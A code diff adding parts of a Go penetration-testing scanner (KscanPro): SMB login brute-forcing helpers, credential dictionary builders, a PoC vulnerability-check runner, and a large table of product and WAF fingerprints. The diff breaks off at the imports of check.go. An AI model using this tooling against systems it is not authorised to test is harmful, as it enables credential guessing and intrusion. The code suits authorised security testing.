@@ -0,0 +1,69 @@
+package hydra
+
+import "strings"
+
+type Auth struct {
+ Username string
+ Password string
+ Other map[string]string
+}
+
+var UnauthorizedAccessVulnerabilityAuth = NewAuth()
+
+func NewAuth() Auth {
+ a := Auth{
+ Username: "",
+ Password: "",
+ Other: make(map[string]string),
+ }
+ return a
+}
+
+func NewAuthFromPasswords(passwords []string) []Auth {
+ var auths []Auth
+ for _, password := range passwords {
+ auths = append(auths, NewSpecialAuth("", password))
+ }
+ return auths
+}
+
+func NewAuthFromUsernameAndPassword(usernames, passwords []string) []Auth {
+ var auths []Auth
+ for _, password := range passwords {
+ for _, username := range usernames {
+ auths = append(auths, NewSpecialAuth(username, password))
+ }
+ }
+ return auths
+}
+
+func NewSpecialAuth(username, password string) Auth {
+ a := NewAuth()
+ a.Username = username
+ a.Password = password
+ return a
+}
+
+func (a *Auth) MakePassword() {
+ if strings.Contains(a.Password, "%user%") {
+ a.Password = strings.ReplaceAll(a.Password, "%user%", a.Username)
+ }
+}
+
+func (a *Auth) Map() map[string]string {
+ var m = make(map[string]string)
+ if a.Username != "" {
+ m["Username"] = a.Username
+ }
+ if a.Password != "" {
+ m["Password"] = a.Password
+ } else {
+ m["Password"] = "空"
+ }
+ for key, value := range a.Other {
+ if value != "" {
+ m[key] = value
+ }
+ }
+ return m
+}
diff --git a/core/hydra/type-authinfo.go b/core/hydra/type-authinfo.go
new file mode 100644
index 0000000..0f3c707
--- /dev/null
+++ b/core/hydra/type-authinfo.go
@@ -0,0 +1,46 @@
+package hydra
+
+import (
+ "KscanPro/lib/color"
+ "fmt"
+)
+
+type AuthInfo struct {
+ Protocol string
+ Port int
+ IPAddr string
+ Auth Auth
+ Status bool
+}
+
+func NewAuthInfo(IPAddr string, Port int, Protocol string) *AuthInfo {
+ a := &AuthInfo{
+ Protocol: Protocol,
+ Port: Port,
+ IPAddr: IPAddr,
+ }
+ a.Auth = NewAuth()
+ a.Status = false
+ return a
+}
+
+func (a *AuthInfo) Display() string {
+ URL := fmt.Sprintf("%s://%s:%d", a.Protocol, a.IPAddr, a.Port)
+ authChar := ""
+ outMap := a.Auth.Other
+ if a.Auth.Username != "" {
+ outMap["Username"] = a.Auth.Username
+ }
+ if a.Auth.Password != "" {
+ outMap["Password"] = a.Auth.Password
+ }
+ for key, value := range outMap {
+ authChar += fmt.Sprintf("%s:%s、", key, value)
+ }
+ authChar = authChar[:len(authChar)-3]
+ var s string
+ s = fmt.Sprintf("%-30v %-26v %v", URL, "Success", authChar)
+ s = color.Red(s)
+ s = color.Overturn(s)
+ return s
+}
diff --git a/core/hydra/type-authlist.go b/core/hydra/type-authlist.go
new file mode 100644
index 0000000..f4f85ad
--- /dev/null
+++ b/core/hydra/type-authlist.go
@@ -0,0 +1,62 @@
+package hydra
+
+import (
+ "KscanPro/lib/misc"
+)
+
+type AuthList struct {
+ Username []string
+ Password []string
+ Special []Auth
+}
+
+func NewAuthList() *AuthList {
+ a := &AuthList{}
+ a.Special = []Auth{}
+ return a
+}
+
+func (a *AuthList) IsEmpty() bool {
+ if len(a.Username) > 0 || len(a.Password) > 0 {
+ return false
+ }
+ return true
+}
+
+func (a *AuthList) Merge(list *AuthList) {
+ a.Username = append(a.Username, list.Username...)
+ a.Password = append(a.Password, list.Password...)
+ a.Special = append(a.Special, list.Special...)
+ a.Username = misc.RemoveDuplicateElement(a.Username)
+ a.Password = misc.RemoveDuplicateElement(a.Password)
+}
+
+func (a *AuthList) Replace(list *AuthList) {
+ if len(list.Username) > 0 {
+ a.Username = list.Username
+ }
+ if len(list.Password) > 0 {
+ a.Password = list.Password
+ }
+ a.Special = list.Special
+ a.Username = misc.RemoveDuplicateElement(a.Username)
+ a.Password = misc.RemoveDuplicateElement(a.Password)
+}
+
+func (a *AuthList) Length() int {
+ if len(a.Username) == 0 {
+ return len(a.Password) + len(a.Special)
+ }
+ return (len(a.Password) * len(a.Username)) + len(a.Special)
+}
+
+func (a *AuthList) Dict(onlyPassword bool) []Auth {
+ var dict []Auth
+ if onlyPassword {
+ dict = append(dict, NewAuthFromPasswords(a.Password)...)
+ } else {
+ dict = append(dict, a.Special...)
+ dict = append(dict, NewAuthFromUsernameAndPassword(a.Username, a.Password)...)
+ }
+ return dict
+}
diff --git a/core/hydra/web/web.go b/core/hydra/web/web.go
new file mode 100644
index 0000000..90581b7
--- /dev/null
+++ b/core/hydra/web/web.go
@@ -0,0 +1,49 @@
+package web
+
+import (
+ "context"
+ "errors"
+ "github.com/stacktitan/smb/smb"
+ "time"
+)
+
+var (
+ LoginFailedError = errors.New("login failed")
+ LoginTimeoutError = errors.New("login timeout")
+)
+
+func Check(Host, Username, Domain, Password string, Port int) error {
+ status := make(chan error)
+ ctx, cancel := context.WithTimeout(context.Background(), time.Second*5)
+ defer cancel()
+ options := smb.Options{
+ Host: Host,
+ Port: Port,
+ User: Username,
+ Password: Password,
+ Domain: Domain,
+ Workstation: "",
+ }
+ //开始进行SMB连接
+ go func() {
+ session, err := smb.NewSession(options, false)
+ if err != nil {
+ status <- err
+ return
+ }
+ defer session.Close()
+ if session.IsAuthenticated == false {
+ status <- LoginFailedError
+ return
+ }
+ status <- nil
+ }()
+
+ select {
+ case <-ctx.Done():
+ return LoginTimeoutError
+ case err := <-status:
+ return err
+ }
+
+}
diff --git a/core/pocScan/POC.go b/core/pocScan/POC.go
new file mode 100644
index 0000000..1598f13
--- /dev/null
+++ b/core/pocScan/POC.go
@@ -0,0 +1,96 @@
+package pocScan
+
+import (
+ "KscanPro/app"
+ "KscanPro/core/pocScan/lib"
+ "embed"
+ "fmt"
+ "net/http"
+ "net/url"
+ "strings"
+ "sync"
+)
+
+//go:embed pocs
+var Pocs embed.FS
+var once sync.Once
+var AllPocs []*lib.Poc
+
+func Run1(Url string) {
+ once.Do(initpoc)
+ var pocinfo = app.PocInfo{}
+ URL, _ := removeStandardPorts(Url)
+ buf := strings.Split(URL, "/")
+ pocinfo.Target = strings.Join(buf[:3], "/")
+ pocinfo.PocName = lib.CheckInfoPoc("")
+ Execute(pocinfo)
+}
+
+func Execute(PocInfo app.PocInfo) {
+ req, err := http.NewRequest("GET", PocInfo.Target, nil)
+ if err != nil {
+ //errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
+ //common2.LogError(errlog)
+ return
+ }
+ req.Header.Set("User-agent", app.UserAgent)
+ req.Header.Set("Accept", app.Accept)
+ req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
+ if app.Cookie != "" {
+ req.Header.Set("Cookie", app.Cookie)
+ }
+ pocs := filterPoc(PocInfo.PocName)
+ lib.CheckMultiPoc(req, pocs, app.PocNum)
+}
+
+func initpoc() {
+ entries, err := Pocs.ReadDir("pocs")
+ if err != nil {
+ fmt.Printf("[-] init poc error: %v", err)
+ return
+ }
+ for _, one := range entries {
+ path := one.Name()
+ if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
+ if poc, _ := lib.LoadPoc(path, Pocs); poc != nil {
+ AllPocs = append(AllPocs, poc)
+ }
+ }
+ }
+
+}
+
+func filterPoc(pocname string) (pocs []*lib.Poc) {
+ if pocname == "" {
+ return AllPocs
+ }
+ for _, poc := range AllPocs {
+ if strings.Contains(poc.Name, pocname) {
+ pocs = append(pocs, poc)
+ }
+ }
+ return
+}
+
+// 从URL字符串中移除端口80和443
+func removeStandardPorts(rawURL string) (string, error) {
+ // 解析URL
+ u, err := url.Parse(rawURL)
+ if err != nil {
+ return "", err
+ }
+
+ // 获取端口部分
+ host := u.Host
+ colonIndex := strings.LastIndex(host, ":")
+ if colonIndex != -1 {
+ port := host[colonIndex+1:]
+ if port == "80" || port == "443" {
+ // 移除端口
+ u.Host = host[:colonIndex]
+ }
+ }
+
+ // 重建URL字符串,不包括默认端口
+ return u.String(), nil
+}
diff --git a/core/pocScan/info/rules.go b/core/pocScan/info/rules.go
new file mode 100644
index 0000000..939b981
--- /dev/null
+++ b/core/pocScan/info/rules.go
@@ -0,0 +1,314 @@
+package info
+
+type RuleData struct {
+ Name string
+ Type string
+ Rule string
+}
+
+type Md5Data struct {
+ Name string
+ Md5Str string
+}
+
+type PocData struct {
+ Name string
+ Alias string
+}
+
+var RuleDatas = []RuleData{
+ {"宝塔", "body", "(app.bt.cn/static/app.png|安全入口校验失败|入口校验失败|href=\"http://www.bt.cn/bbs)"},
+ {"深信服防火墙类产品", "code", "(SANGFOR FW)"},
+ {"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
+ {"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
+ {"绿盟防火墙", "code", "(NSFOCUS NF)"},
+ {"绿盟防火墙", "headers", "(NSFocus)"},
+ {"Topsec-Waf", "index", `(",")`},
+ {"Anquanbao", "headers", "(Anquanbao)"},
+ {"BaiduYunjiasu", "headers", "(yunjiasu)"},
+ {"BigIP", "headers", "(BigIP|BIGipServer)"},
+ {"BinarySEC", "headers", "(binarysec)"},
+ {"BlockDoS", "headers", "(BlockDos.net)"},
+ {"CloudFlare", "headers", "(cloudflare)"},
+ {"Cloudfront", "headers", "(cloudfront)"},
+ {"Comodo", "headers", "(Protected by COMODO)"},
+ {"IBM-DataPower", "headers", "(X-Backside-Transport)"},
+ {"DenyAll", "headers", "(sessioncookie=)"},
+ {"dotDefender", "headers", "(dotDefender)"},
+ {"Incapsula", "headers", "(X-CDN|Incapsula)"},
+ {"Jiasule", "headers", "(jsluid=)"},
+ {"KONA", "headers", "(AkamaiGHost)"},
+ {"ModSecurity", "headers", "(Mod_Security|NOYB)"},
+ {"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
+ {"Newdefend", "headers", "(newdefend)"},
+ {"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
+ {"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
+ {"Safedog", "headers", "(Safedog|WAF/2.0)"},
+ {"SonicWALL", "headers", "(SonicWALL)"},
+ {"Stingray", "headers", "(X-Mapping-)"},
+ {"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
+ {"Usp-Sec", "headers", "(Secure Entry Server)"},
+ {"Varnish", "headers", "(varnish)"},
+ {"Wallarm", "headers", "(wallarm)"},
+ {"阿里云", "code", "(errors.aliyun.com)"},
+ {"WebKnight", "headers", "(WebKnight)"},
+ {"Yundun", "headers", "(YUNDUN)"},
+ {"Yunsuo", "headers", "(yunsuo)"},
+ {"Coding pages", "header", "(Coding Pages)"},
+ {"启明防火墙", "body", "(/cgi-bin/webui?op=get_product_model)"},
+ {"Shiro", "headers", "(=deleteMe|rememberMe=)"},
+ {"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
+ {"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
+ {"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
+ {"Nexus", "code", "(Nexus Repository Manager)"},
+ {"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
+ {"Harbor", "code", "(Harbor)"},
+ {"Harbor", "cookie", "(harbor-lang)"},
+ {"禅道", "code", "(/theme/default/images/main/zt-logo.png|/zentao/theme/zui/css/min.css)"},
+ {"禅道", "cookie", "(zentaosid)"},
+ {"协众OA", "code", "(Powered by 协众OA)"},
+ {"协众OA", "cookie", "(CNOAOASESSID)"},
+ {"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
+ {"atmail-WebMail", "cookie", "(atmail6)"},
+ {"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
+ {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1)"},
+ {"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
+ {"discuz", "code", "(content=\"Discuz! X\")"},
+ {"Typecho", "code", "(Typecho)"},
+ {"金蝶EAS", "code", "(easSessionId)"},
+ {"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
+ {"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
+ {"H3C-AM8000", "code", "(AM8000)"},
+ {"360企业版", "code", "(360EntWebAdminMD5Secret)"},
+ {"H3C公司产品", "code", "(service@h3c.com)"},
+ {"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
+ {"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
+ {"H3C ER5100", "code", "(ER5100系统管理)"},
+ {"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
+ {"CISCO_EPC3925", "code", "(Docsis_system)"},
+ {"CISCO ASR", "code", "(CISCO ASR)"},
+ {"H3C ER3200", "code", "(ER3200系统管理)"},
+ {"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"},
+ {"Spark_Master", "code", "(Spark Master at)"},
+ {"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
+ {"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
+ {"深信服ssl-vpn", "code", "(login_psw.csp)"},
+ {"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
+ {"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
+ {"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
+ {"360主机卫士", "headers", "(zhuji.360.cn)"},
+ {"Nagios", "headers", "(Nagios Access)"},
+ {"H3C ER8300", "code", "(ER8300系统管理)"},
+ {"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
+ {"华为 MCU", "code", "(McuR5-min.js)"},
+ {"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
+ {"泛微OA", "headers", "(ecology_JSessionid)"},
+ {"泛微OA", "code", "(/spa/portal/public/index.js)"},
+ {"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
+ {"360网站卫士", "code", "(360wzb)"},
+ {"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
+ {"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
+ {"zabbix", "cookie", "(zbx_sessionid)"},
+ {"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
+ {"CISCO_VPN", "headers", "(webvpn)"},
+ {"360站长平台", "code", "(360-site-verification)"},
+ {"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
+ {"o2security_vpn", "headers", "(client_param=install_active)"},
+ {"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
+ {"H3C ICG1000", "code", "(ICG1000系统管理)"},
+ {"CISCO-CX20", "code", "(CISCO-CX20)"},
+ {"H3C ER5200", "code", "(ER5200系统管理)"},
+ {"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
+ {"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
+ {"H3C ER3100", "code", "(ER3100系统管理)"},
+ {"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
+ {"360webfacil_360WebManager", "code", "(publico/template/)"},
+ {"Citrix_Netscaler", "code", "(ns_af)"},
+ {"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
+ {"H3C ER3260", "code", "(ER3260系统管理)"},
+ {"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
+ {"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
+ {"Spark_Worker", "code", "(Spark Worker at)"},
+ {"H3C ER3108G", "code", "(ER3108G系统管理)"},
+ {"Citrix-ConfProxy", "code", "(confproxy)"},
+ {"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
+ {"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
+ {"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
+ {"华为(HUAWEI)USG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
+ {"H3C ER6300", "code", "(ER6300系统管理)"},
+ {"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
+ {"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
+ {"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
+ {"H3C ER2100", "code", "(ER2100系统管理)"},
+ {"jira", "code", "(jira.webresources)"},
+ {"金和协同管理平台", "code", "(金和协同管理平台)"},
+ {"Citrix-NetScaler", "code", "(NS-CACHE)"},
+ {"linksys-vpn", "headers", "(linksys-vpn)"},
+ {"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
+ {"华为(HUAWEI)Secoway设备", "code", "(Secoway)"},
+ {"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
+ {"H3C ER2100n", "code", "(ER2100n系统管理)"},
+ {"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
+ {"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
+ {"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
+ {"Jboss", "headers", "(JBoss)"},
+ {"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
+ {"泛微E-mobile", "headers", "(EMobileServer)"},
+ {"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
+ {"ThinkPHP", "headers", "(ThinkPHP)"},
+ {"ThinkPHP", "code", "(/Public/static/js/)"},
+ {"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
+ {"Laravel", "headers", "(laravel_session)"},
+ {"DWR", "code", "(dwr/engine.js)"},
+ {"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
+ {"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
+ {"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
+ {"Jenkins", "code", "(Jenkins)"},
+ {"红帆OA", "code", "(iOffice)"},
+ {"VMware vSphere", "code", "(VMware vSphere)"},
+ {"打印机", "code", "(打印机|media/canon.gif)"},
+ {"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
+ {"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
+ {"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
+ {"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
+ {"Hadoop Applications", "code", "(/cluster/app/application)"},
+ {"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
+ {"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
+ {"帆软报表", "headers", "(数据决策系统)"},
+ {"华夏ERP", "headers", "(华夏ERP)"},
+ {"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
+ {"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
+ {"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
+ {"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
+ {"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
+ {"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
+ {"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
+ {"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
+ {"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
+ {"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
+ {"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
+ {"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
+ {"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
+ {"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
+ {"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
+ {"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
+ {"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
+ {"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
+ {"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
+ {"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
+ {"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
+ {"APACHE-kylin", "code", "(url=kylin)"},
+ {"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
+ {"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
+ {"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
+ {"FIT2CLOUD-JumpServer-堡垒机", "code", "(JumpServer)"},
+ {"Alibaba Nacos", "code", "(Nacos)"},
+ {"Nagios", "headers", "(nagios admin)"},
+ {"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
+ {"h5ai", "code", "(powered by h5ai)"},
+ {"jeesite", "cookie", "(jeesite.session.id)"},
+ {"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
+ {"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
+ {"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
+ {"天融信网络审计系统", "code", "(onclick=dlg_download())"},
+ {"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
+ {"URP教务系统", "code", "(北京清元优软科技有限公司)"},
+ {"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
+ {"正方OA", "code", "(zfoausername)"},
+ {"希尔OA", "code", "(/heeroa/login.do)"},
+ {"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
+ {"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
+ {"海天OA", "code", "(HTVOS.js)"},
+ {"信达OA", "code", "(http://www.xdoa.cn)"},
+ {"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
+ {"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
+ {"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
+ {"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
+ {"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
+ {"网神防火墙", "code", "(css/lsec/login.css)"},
+ {"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
+ {"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
+ {"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
+ {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
+ {"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
+ {"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
+ {"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
+ {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1|Error 404--Not Found|Welcome to Weblogic Application Server|Oracle WebLogic Server 管理控制台)"},
+ {"weblogic", "headers", "(WebLogic)"},
+ {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
+ {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
+ {"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
+ {"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
+ {"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
+ {"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
+ {"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
+ {"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
+ {"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
+ {"用友IUFO", "code", "(iufo/web/css/menu.css)"},
+ {"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
+ {"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
+ {"CMS", "code", "(Powered by .*CMS)"},
+ {"目录遍历", "code", "(Directory listing for /)"},
+ {"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"},
+ {"ATLASSIAN-Confluence", "headers", "(X-Confluence)"},
+ {"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
+ {"Kubernetes", "code", "(Kubernetes Dashboard|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
+ {"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress)"},
+ {"RabbitMQ", "code", "(RabbitMQ Management)"},
+ {"dubbo", "headers", "(Basic realm=\"dubbo\")"},
+ {"Spring env", "code", "(logback)"},
+ {"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
+ {"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
+}
+
+var Md5Datas = []Md5Data{
+ {"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
+ {"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
+ {"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
+ {"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"},
+ {"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
+ {"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
+ {"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
+ {"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
+ {"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
+ {"致远OA", "57f307ad3764553df84e7b14b7a85432"},
+ {"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
+ {"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
+ {"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
+ {"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
+ {"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
+ {"通达OA", "ed0044587917c76d08573577c8b72883"},
+ {"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
+ {"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
+ {"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
+ {"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
+ {"GitLab", "85c754581e1d4b628be5b7712c042224"},
+ {"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
+ {"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
+ {"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
+ {"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
+ {"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
+ {"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
+ {"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
+ {"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
+ {"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
+}
+
+var PocDatas = []PocData{
+ {"致远OA", "seeyon"},
+ {"泛微OA", "weaver"},
+ {"通达OA", "tongda"},
+ {"蓝凌OA", "landray"},
+ {"ThinkPHP", "thinkphp"},
+ {"Nexus", "nexus"},
+ {"齐治堡垒机", "qizhi"},
+ {"weaver-ebridge", "weaver-ebridge"},
+ {"weblogic", "weblogic"},
+ {"zabbix", "zabbix"},
+ {"VMware vSphere", "vmware"},
+ {"Jboss", "jboss"},
+ {"用友", "yongyou"},
+ {"用友IUFO", "yongyou"},
+ {"coremail", "coremail"},
+ {"金山", "kingsoft"},
+}
diff --git a/core/pocScan/lib/check.go b/core/pocScan/lib/check.go
new file mode 100644
index 0000000..25191d5
--- /dev/null
+++ b/core/pocScan/lib/check.go
@@ -0,0 +1,564 @@
+package lib
+
+import (
+ "KscanPro/app"
+ "KscanPro/core/pocScan/info"
+ "KscanPro/lib/color"
+ "crypto/md5"
+ "fmt"
+ "github.com/google/cel-go/cel"
+ "math/rand"
+ "net/http"
+ "net/url"
